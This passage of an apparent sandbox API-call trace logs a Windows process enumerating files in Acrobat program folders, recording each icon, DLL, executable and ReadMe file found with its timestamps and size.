ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_ok.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop_collection_data.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="submission_history.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tl.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="trash.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 1 [0083.780] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 0 [0083.780] GetLastError () returned 0x12 [0083.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.780] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0083.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.781] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0083.781] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="")) returned 1 [0083.781] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="")) returned 0 [0083.782] GetLastError () returned 0x12 [0083.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0083.782] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0083.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0083.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0083.782] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0083.782] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCS.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCT.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4623, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCZE.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHRV.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4274, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHUN.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, 